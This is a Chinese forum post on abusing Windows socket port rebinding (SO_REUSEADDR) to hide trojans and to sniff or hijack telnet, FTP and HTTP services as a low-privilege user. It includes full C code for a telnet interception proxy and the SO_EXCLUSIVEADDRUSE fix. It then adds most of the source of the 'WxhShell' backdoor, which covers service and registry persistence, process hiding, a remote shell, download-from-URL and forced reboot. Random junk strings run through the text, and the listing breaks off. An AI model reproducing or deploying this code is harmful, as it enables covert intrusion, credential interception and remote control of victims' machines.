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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $2uZdl8Rvj  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~c~$2Xo  
)$#]h]ac  
  saddr.sin_family = AF_INET; M{U{iS  
J`U\3:b`SP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); X|'EyZ  
|=C&JA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O2|[g8(_F  
tZS-e6*S  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 huTa Ei  
j)K[A%(  
  这意味着什么?意味着可以进行如下的攻击: E,I*E{nd9  
b[Z5:[@\#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 cqzd9L6=  
`6KTQk'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;b=3iT-2"  
8}/v[8p  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E5d?toZ,8"  
*u$MqN  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  cd8~y  
tAfdbt  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N=J$+  
xjHOrr OQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~7$E\w6  
SST1vzm!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /5^"n4/M  
k}-@N;zq  
  #include p@H]F<  
  #include c+PT"/3  
  #include >#}MDwKZD  
  #include    6fvzTd},  
  DWORD WINAPI ClientThread(LPVOID lpParam);   VvuwgJX  
  int main() ?Z-(SC  
  { !xs. [&u8  
  WORD wVersionRequested; rixP[`!]x  
  DWORD ret; Hl"qLrb4  
  WSADATA wsaData; dmHpF\P5f  
  BOOL val; uJz<:/rwZ-  
  SOCKADDR_IN saddr; O) ks  
  SOCKADDR_IN scaddr; 90)0\i+P  
  int err; w ^ v*1KA&  
  SOCKET s; 2Yd0:$a  
  SOCKET sc; 808E)  
  int caddsize; ,3_;JT"5  
  HANDLE mt; R:zPU   
  DWORD tid;    lv_|ws  
  wVersionRequested = MAKEWORD( 2, 2 ); K!/"&RjW.  
  err = WSAStartup( wVersionRequested, &wsaData ); Z:3N*YkL  
  if ( err != 0 ) { oQgd]| v  
  printf("error!WSAStartup failed!\n"); B4^+&B#  
  return -1; WvG0hts=[  
  } cE}R7,y  
  saddr.sin_family = AF_INET;  _6a+" p  
   K~"J<798{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ncg5%(2  
(Dr g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e)dPv:oK3  
  saddr.sin_port = htons(23); l4+!H\2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NET?Ep  
  { Mq-QWx"P  
  printf("error!socket failed!\n"); 8d9&LPv  
  return -1; k=,,s(]tx  
  } /.<tC(  
  val = TRUE; 0HUSN_3F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 BIf E+L(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8$O=HE*  
  { BZy&;P  
  printf("error!setsockopt failed!\n"); VeO$n*O  
  return -1; iOpMU  
  } ?bc-?<Xk  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )X{x\ /N  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %u\Oj \8U  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *"V5j#F_  
 :[:5^R  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  6e,|HV  
  { D>9~JHB  
  ret=GetLastError(); rQ|^H Nj  
  printf("error!bind failed!\n"); |;2Y|>=  
  return -1; $mvcqn;  
  } ]]lgCac_U9  
  listen(s,2); 2Y_ `&  
  while(1) @xKLRw  
  { OU;R;=/]  
  caddsize = sizeof(scaddr); >$,A [|R  
  //接受连接请求 &V7@ TZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .'o<.\R8  
  if(sc!=INVALID_SOCKET) &V5[Zj|]  
  { f}q4~NPn-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,]?Xf >  
  if(mt==NULL) =[%ge{,t  
  { :USN`"  
  printf("Thread Creat Failed!\n"); 1@Dp<Q  
  break; 3V:{_~~  
  } 44 bTx y  
  } }qy,/<R  
  CloseHandle(mt); ~m^.&mv3/  
  } d (Ufj|;  
  closesocket(s); 85; BS'  
  WSACleanup(); ' uvTOgP,  
  return 0; M,]C(f>  
  }   3R(GO.n=]  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8hWB TUN  
  { D Q7+  
  SOCKET ss = (SOCKET)lpParam; USz |Rh  
  SOCKET sc; ;xFx%^M}br  
  unsigned char buf[4096]; {~.~ b+v  
  SOCKADDR_IN saddr; "&jA CI  
  long num; )%rGD =2~  
  DWORD val; *yJCnoF  
  DWORD ret; oTOr,Mn0\6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 R;,&s!\<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    L><# I  
  saddr.sin_family = AF_INET; WP,Ll\K)7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {awv= s  
  saddr.sin_port = htons(23); .`Ey'T_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?sQOz[ig;  
  { D=}UKd  
  printf("error!socket failed!\n"); %H=d_Nm{  
  return -1; C?@vBM}  
  }  W7I.S5  
  val = 100; _t<&#D~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C/Vs+aW n  
  { +`pS 7d  
  ret = GetLastError(); gL%%2 }$  
  return -1; #<ppiu$  
  } &YQ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 40TS=evG  
  { KL:x!GsV5e  
  ret = GetLastError(); O@;;GJ  
  return -1; =zw=J p  
  } ~jdvxoX-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -dXlGOD+C  
  { ? b;_T,S[  
  printf("error!socket connect failed!\n"); H/8H`9S$  
  closesocket(sc); <CrNDY  
  closesocket(ss); ACQc 0:q  
  return -1; 8S2sNpLi-g  
  } *`~ woF  
  while(1) '6l4MR$j&m  
  { ^z&eD,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -2NXQ+m ;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {)j~5m.,/o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Oax*3TD  
  num = recv(ss,buf,4096,0); #+)AIf  
  if(num>0) 2=Sv#  
  send(sc,buf,num,0); V~j:!=b%v  
  else if(num==0) f,QoA  
  break; %LBa;M  
  num = recv(sc,buf,4096,0); S/ YT V  
  if(num>0) D$C>ZF  
  send(ss,buf,num,0); D^cv 8 8<  
  else if(num==0) N$1ZA)M  
  break; 8U,VpuQ:  
  } E(J@A'cX  
  closesocket(ss); /.1c <!  
  closesocket(sc); H4%2"w6|!  
  return 0 ; 0V*B3V<  
  } sywSvnPuYZ  
*'5 )CC  
A-5xgp,  
========================================================== /Y=Cg%+  
f4A;v|5_  
下边附上一个代码,,WXhSHELL ?f@g1jJP  
DONXq]f:,"  
========================================================== ~)!yl. H  
~)5NX 4Po  
#include "stdafx.h" p,_,o3@~  
2tz%A~}4  
#include <stdio.h> >< <(6  
#include <string.h> >eX&HSoy  
#include <windows.h> GM&< ?K1  
#include <winsock2.h> y$,K^f  
#include <winsvc.h> }xZR`xP(  
#include <urlmon.h> +NML>g#F~z  
e/+_tC$@p@  
#pragma comment (lib, "Ws2_32.lib") Z>=IP-,>  
#pragma comment (lib, "urlmon.lib") 1'.SHY|  
sVdn>$KXk  
#define MAX_USER   100 // 最大客户端连接数 0,~f"Dyqy  
#define BUF_SOCK   200 // sock buffer 5^kLNNum  
#define KEY_BUFF   255 // 输入 buffer 5%H(AaG*q  
0,1x- yD  
#define REBOOT     0   // 重启 HEqTlnxUu  
#define SHUTDOWN   1   // 关机 {wUbr^  
!O;su~7  
#define DEF_PORT   5000 // 监听端口 +ucj>g1(#  
?`9XFE~a!  
#define REG_LEN     16   // 注册表键长度 Y"Y%JJ.J  
#define SVC_LEN     80   // NT服务名长度 yV{&x  
| .w'Z7(s  
// 从dll定义API 71euRIW'5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Be~__pd  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CC{*'p6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yT[CC>]l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JmMB=} <  
@9,=|kxK  
// wxhshell配置信息 t:MeSO  
struct WSCFG { R/!lDv!  
  int ws_port;         // 监听端口 /j7e q  
  char ws_passstr[REG_LEN]; // 口令 &j}08aK%  
  int ws_autoins;       // 安装标记, 1=yes 0=no hw2'.}B"(  
  char ws_regname[REG_LEN]; // 注册表键名 *\#/4_yB}  
  char ws_svcname[REG_LEN]; // 服务名 12{F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Uh6LU5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P X9GiJN"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Uc>kiWW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !VLk|6mn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xIt'o(jQH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z;=h=  
ALcin))+B  
}; ]~a;tF>Fw  
.AB n$ml]  
// default Wxhshell configuration 1omjP`]|,  
struct WSCFG wscfg={DEF_PORT, \[\4= !v  
    "xuhuanlingzhe", L{pz)')I  
    1, x*`S>_j27=  
    "Wxhshell", }~I(e  
    "Wxhshell", |uUGvIsXn  
            "WxhShell Service", |}^me7C,[  
    "Wrsky Windows CmdShell Service", "|N58%  
    "Please Input Your Password: ", 'SW%EVB  
  1, Ux[2 +Cf  
  "http://www.wrsky.com/wxhshell.exe", h#hx(5"6  
  "Wxhshell.exe" T]er_n  
    }; /Pbytu);ds  
tLH:'"{zx  
// 消息定义模块 -FOn%7r#Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RB\ Hl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K#"J8h;x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uez"{_I  
char *msg_ws_ext="\n\rExit."; b]0]*<~y  
char *msg_ws_end="\n\rQuit."; vl`Qz"Xy  
char *msg_ws_boot="\n\rReboot..."; 9f(0 qa  
char *msg_ws_poff="\n\rShutdown..."; DB~3(r?K  
char *msg_ws_down="\n\rSave to ";  W8blHw"  
`}r)0,Z}3  
char *msg_ws_err="\n\rErr!"; xL&evG#  
char *msg_ws_ok="\n\rOK!"; LiG!xs  
%*}h{n  
char ExeFile[MAX_PATH]; h+gaKh=k+  
int nUser = 0; XC(:O(jdA2  
HANDLE handles[MAX_USER]; bA_/ 6r)u  
int OsIsNt; %IA1Y>`  
7`s* {  
SERVICE_STATUS       serviceStatus; <wH"{G3?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <USK6!-G  
"U"phLX  
// 函数声明 Ie<H4G5Vh  
int Install(void); vU,V[1^a  
int Uninstall(void); A ".v+  
int DownloadFile(char *sURL, SOCKET wsh); @d&JtA  
int Boot(int flag); TS_5R>R3  
void HideProc(void); ^l:~r2  
int GetOsVer(void); PFKl6_(  
int Wxhshell(SOCKET wsl); 8A jQPDn+  
void TalkWithClient(void *cs); f]pHJVgFV  
int CmdShell(SOCKET sock); 9T\uOaC"  
int StartFromService(void); @$Xl*WT7  
int StartWxhshell(LPSTR lpCmdLine); @=7[KMb  
'fK3L<$z#m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r*q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cv{icz,%w  
3u 'VPF2  
// 数据结构和表定义 7"_m?c8  
SERVICE_TABLE_ENTRY DispatchTable[] = +Rj8 "p$K  
{ vh$If0  
{wscfg.ws_svcname, NTServiceMain}, Aaw]=8 OI  
{NULL, NULL} ~hZr1hT6L  
}; m >Rdsn~l  
A_!N,< -  
// 自我安装 H9\,;kM)  
int Install(void) !+k);;.+  
{ /Hs\`Kg"!  
  char svExeFile[MAX_PATH]; I[6ft_*  
  HKEY key; w4Uo-zr@  
  strcpy(svExeFile,ExeFile); K/YXLR +  
+C}s"qrb@  
// 如果是win9x系统,修改注册表设为自启动 9xN`  
if(!OsIsNt) { `@<~VWe5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WaPuJ 5;e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &ggOm  
  RegCloseKey(key); lt{D f~c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \wKnX]xGf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $$ 9!4  
  RegCloseKey(key); &At9@  
  return 0; q)l1tC72  
    } d[\$a4G+  
  } y$}o{VE{x  
} |2Y/l~  
else { E5$Fhc   
4wkmgS  
// 如果是NT以上系统,安装为系统服务 mP] a}[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cq`!17"k  
if (schSCManager!=0) uv&4 A,h  
{ qOTo p-  
  SC_HANDLE schService = CreateService j5gL 67B  
  ( `Hx JE"/  
  schSCManager, _ea|E  8  
  wscfg.ws_svcname, ,rNv}  
  wscfg.ws_svcdisp, =o )B1(v@.  
  SERVICE_ALL_ACCESS, Gc=uKQ+\V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o?g9Grk  
  SERVICE_AUTO_START, y&W3CW\:  
  SERVICE_ERROR_NORMAL, xV0:K=  
  svExeFile, kz"QS.${  
  NULL, h+!@`c>)Y  
  NULL,  /M@[ 8  
  NULL, FfX*bqy  
  NULL, NI:3hfs  
  NULL YO9ofT  
  ); OJ1MV7&  
  if (schService!=0) 9'=ZxV  
  { V2S HF  
  CloseServiceHandle(schService); Q-?6o  
  CloseServiceHandle(schSCManager); m@y<wk(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;lQ>>[*  
  strcat(svExeFile,wscfg.ws_svcname); }0C v J4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hRNnj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =3Ohy,5L  
  RegCloseKey(key); -uN M_|MO  
  return 0; ja4zLf(<  
    } sE])EwZ  
  } 1d!TU=*  
  CloseServiceHandle(schSCManager); 6VtN4c .Q  
} oO^=%Mc(  
} yf2P6b\  
tH(g;flO)  
return 1; cl'wQ1<:   
} _l+8[\v  
GP(ze-Yp  
// 自我卸载 #0:rBKm,  
int Uninstall(void) vawS5b;  
{ _/J`v`}G  
  HKEY key; 3=("vR`!  
h-]c   
if(!OsIsNt) { `n"PHur  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vO)]~AiB  
  RegDeleteValue(key,wscfg.ws_regname); L%<DLe^P`l  
  RegCloseKey(key); GvBmh.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `|<? sjY  
  RegDeleteValue(key,wscfg.ws_regname); d5"rCd[  
  RegCloseKey(key); Ki>XLX,er=  
  return 0; 25;(`Td 5  
  } 2Z-QVwa*U  
} AHU =`z  
} PDS?>Jg(  
else { *LEI@  
}"&Ye  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y"|gC!V}  
if (schSCManager!=0) C[,&Y&`j  
{ K@vU_x0Sl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U Z1Au;(|  
  if (schService!=0) -' =?Hs.  
  { ; Kh!OBZFo  
  if(DeleteService(schService)!=0) { nwVW'M]r  
  CloseServiceHandle(schService); 4>Y*owa4  
  CloseServiceHandle(schSCManager); A: O"N  
  return 0; zJ_y"bt  
  } SPp|/ [i7  
  CloseServiceHandle(schService); +OZ\rs  
  } HLCI  
  CloseServiceHandle(schSCManager); hOYP~OR  
} k3T374t1b  
} ? U* `!-  
xKkXr-yb`f  
return 1; 8H,k0~D  
} 7b7WQ7u  
!8YA1 o  
// 从指定url下载文件 >=86*U~  
int DownloadFile(char *sURL, SOCKET wsh) _K B%g_{  
{ ;?v&=Z't.  
  HRESULT hr; %Iiu#- 'B  
char seps[]= "/"; uQ%3?bx)T  
char *token; X6j:TF  
char *file; J(SGaHm@  
char myURL[MAX_PATH]; * ).YU[i  
char myFILE[MAX_PATH]; y@r0"cvz9  
J$d']%Dwb  
strcpy(myURL,sURL); @p@b6iLpO  
  token=strtok(myURL,seps); $$XeCPs 0  
  while(token!=NULL) "8L v  
  { rN,T}M= 2  
    file=token; L^=G(op*  
  token=strtok(NULL,seps); <`u_O!h  
  } Hp*N%  
-@XOe&q  
GetCurrentDirectory(MAX_PATH,myFILE); AwZz}J+  
strcat(myFILE, "\\"); Ph)>;jU  
strcat(myFILE, file); B}J0 d  
  send(wsh,myFILE,strlen(myFILE),0); (mioKO )?v  
send(wsh,"...",3,0); TiR00#b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); . I."q  
  if(hr==S_OK) %/d1x  
return 0; s{*bFA Z1F  
else Z)f?X  
return 1; {&a6<y#-  
^b4i9n,t1  
} m ?*h\NaB  
5?0~7^de  
// 系统电源模块 211V'|a_ >  
int Boot(int flag) -`NzBuV$2,  
{ ,YJn=9pTl  
  HANDLE hToken; &A=c[pc  
  TOKEN_PRIVILEGES tkp; P&yB(M-z  
F:~@e(  
  if(OsIsNt) { ay#f\P!1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /!N=@z)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cgO<%_l3`  
    tkp.PrivilegeCount = 1; c& K`t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /&9R*xNST#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JIsi  
if(flag==REBOOT) { yq1 G6hw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +|TXKhm{  
  return 0; v3G$9 (NE;  
} UY .-Qt  
else { p=\Q7<Z6d,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qt6@]Y  
  return 0; [NV/*>"j&  
} j<R&?*  
  } >WLHw!I!6  
  else { U\!9dhx  
if(flag==REBOOT) { 8A}<-?>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DS_0p|2  
  return 0; "y5bODq3t  
} x[u6_6=q9  
else { oArXP\#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TF80WMt  
  return 0; `2]TPaWGh  
} /} h"f5  
} @>8 {J6%\  
<8YvsJ  
return 1; xSDTO$U8%  
} <\ eRa{ef  
`xZ,*G7(*  
// win9x进程隐藏模块 |9p0"#4u  
void HideProc(void) ^+0>,-)F  
{ ]re}EB\Rs  
VGc.yM)& j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bcT'!:  
  if ( hKernel != NULL ) X<5&R{oZ  
  { !R@jbM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,9MNB3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nB 0KDt_  
    FreeLibrary(hKernel); Yh Ow0 x  
  } abCxB^5VL  
CNhLp#  
return; G(ZEP.h`u  
} dk"@2%xJ2d  
7- C])9  
// 获取操作系统版本 =pTTXo  
int GetOsVer(void) 0{XT#H  
{ Az-!X!O*f  
  OSVERSIONINFO winfo; ,6o tm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _xy[\X;9  
  GetVersionEx(&winfo); "rfBYl`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <;uM/vS i  
  return 1; ?b"'w  
  else A-J#$B  
  return 0; OJhMM-  
} )."dqq^ q  
~)zxIO!  
// 客户端句柄模块 kB%.i%9\\  
int Wxhshell(SOCKET wsl) }8s&~f H  
{ _g-0"a{-  
  SOCKET wsh; W Q9Q:F2  
  struct sockaddr_in client; gVy`||z  
  DWORD myID; n&DBMU  
EXwU{Hl  
  while(nUser<MAX_USER) o wI:Qs_/4  
{ |68u4zK  
  int nSize=sizeof(client); z@ `u$D$n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hm k ~  
  if(wsh==INVALID_SOCKET) return 1; ZE= Yn~XM  
*xITMi  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EEo I|  
if(handles[nUser]==0) #k[Y(_  
  closesocket(wsh); 3(nnN[?N,5  
else JT=ax/%Mo  
  nUser++; =-&h@mB;G  
  } l|iOdKr h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7\ZSXQy1W  
g_A#WQyh\'  
  return 0; 7%[ YX  
} e,Y<$kPV  
.}uri1k"@k  
// 关闭 socket Y9&na&vY?  
void CloseIt(SOCKET wsh) x34GRe!!  
{ B|8|f(tsSa  
closesocket(wsh); /{[p?7x>  
nUser--; q~Al[`K  
ExitThread(0); rl&.|;5uH;  
} )4.-6F7U?  
^FVmP d*1  
// 客户端请求句柄 N2Ysi$  
void TalkWithClient(void *cs) MJCz %zK  
{ b'z\|jY  
XHOS"o$y  
  SOCKET wsh=(SOCKET)cs; lN0u1)'2  
  char pwd[SVC_LEN]; 8R-;cBT  
  char cmd[KEY_BUFF]; 3+vVdvu%  
char chr[1]; N R 4\TU  
int i,j; Aon.Y Z  
CS5[E-%}T=  
  while (nUser < MAX_USER) { 'KT(;Vof  
_OS,zZ0  
if(wscfg.ws_passstr) { ^".6~{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Azp!;+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ULgp]IS  
  //ZeroMemory(pwd,KEY_BUFF); [hk/Rp7{  
      i=0; )[r=(6?n  
  while(i<SVC_LEN) { ~jmI`X/  
ao[yHcAs  
  // 设置超时 g}uSIv^  
  fd_set FdRead; ^]~!:Ej0  
  struct timeval TimeOut; B#35)QI  
  FD_ZERO(&FdRead); $$< I}eMd>  
  FD_SET(wsh,&FdRead); ):}A Quy]  
  TimeOut.tv_sec=8; !_;J@B  
  TimeOut.tv_usec=0; DL,]iJm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TIR Is1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O6ugN-d>  
 M%W#0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7s!rer>  
  pwd=chr[0]; ,'9R/7%s  
  if(chr[0]==0xd || chr[0]==0xa) { t 7sEY  
  pwd=0; e=eip?p  
  break; i}i >ho-8  
  } 9?~6{!m_9  
  i++; rLA-q||  
    } a2kAZCQ  
c&{= aIe w  
  // 如果是非法用户,关闭 socket -P&uY`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G007[|  
} <h}x7y?  
xU}J6 Tv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /L@6Ae  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +c, ^KHW  
T:9M|mD  
while(1) { bZK^q B  
Kp1 F"!  
  ZeroMemory(cmd,KEY_BUFF); q^n LC6q  
;Ru[^p.{  
      // 自动支持客户端 telnet标准   Q&_#R(3j;  
  j=0; >l/pwb@  
  while(j<KEY_BUFF) { 6A}tA$*s7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JnIG;/  
  cmd[j]=chr[0]; inZ0iU9dy  
  if(chr[0]==0xa || chr[0]==0xd) { moh,aB#  
  cmd[j]=0; Kv<mDA!  
  break; Y6d~hLC  
  } v\qyDZVV  
  j++; fX6pW%Q'6  
    } m\bmBK"I  
 H{Lt,#  
  // 下载文件 f5l\3oL  
  if(strstr(cmd,"http://")) { [p}~M-$V8Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e"XolM0IM  
  if(DownloadFile(cmd,wsh)) .tyV =B:h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); </?ef&  
  else 8G|?R#&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wg,@S*x(  
  } m}zXy\  
  else { a? PH`5O  
pGy k61  
    switch(cmd[0]) { w(t1m]pF[  
  -yg;,nCg  
  // 帮助  yOvV"x]  
  case '?': { DIWyv-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,j\uvi(Y  
    break; v0tFU!Q%  
  } dLwP7#r  
  // 安装 8*&73cp  
  case 'i': { )  LTV+?  
    if(Install()) l @@pXg3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^P/OHuDL  
    else  w}t}Sh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m qUDve(  
    break; !dcvG9JZ  
    } d{@'&?tj  
  // 卸载 cfg.&P>   
  case 'r': { BM)a,fIgo  
    if(Uninstall())  E<0Mluk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N2k{@DY  
    else [;F!\B-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <S6?L[_  
    break; hN gT/y8  
    } !W0JT#0  
  // 显示 wxhshell 所在路径 7.g,&s%q  
  case 'p': { \u[5O@v#  
    char svExeFile[MAX_PATH]; !8W0XUqh+  
    strcpy(svExeFile,"\n\r"); X.,R%>O}`P  
      strcat(svExeFile,ExeFile); a|3+AWL%  
        send(wsh,svExeFile,strlen(svExeFile),0); >9#) obw  
    break; =?wDQ:  
    } QR8]d1+GV  
  // 重启 nGc'xQy0  
  case 'b': { PU B0H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _FS #~z'j  
    if(Boot(REBOOT)) nU\.`.39 +  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T2)CiR-b  
    else { Us pv^O9_  
    closesocket(wsh); P c5C*{C  
    ExitThread(0); |E||e10wR  
    } uGW#z_{(n  
    break; B> \q!dX3  
    } 0oBAJP  
  // 关机 0]]OE+9<c  
  case 'd': { ba ,n/yH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o_kZ  
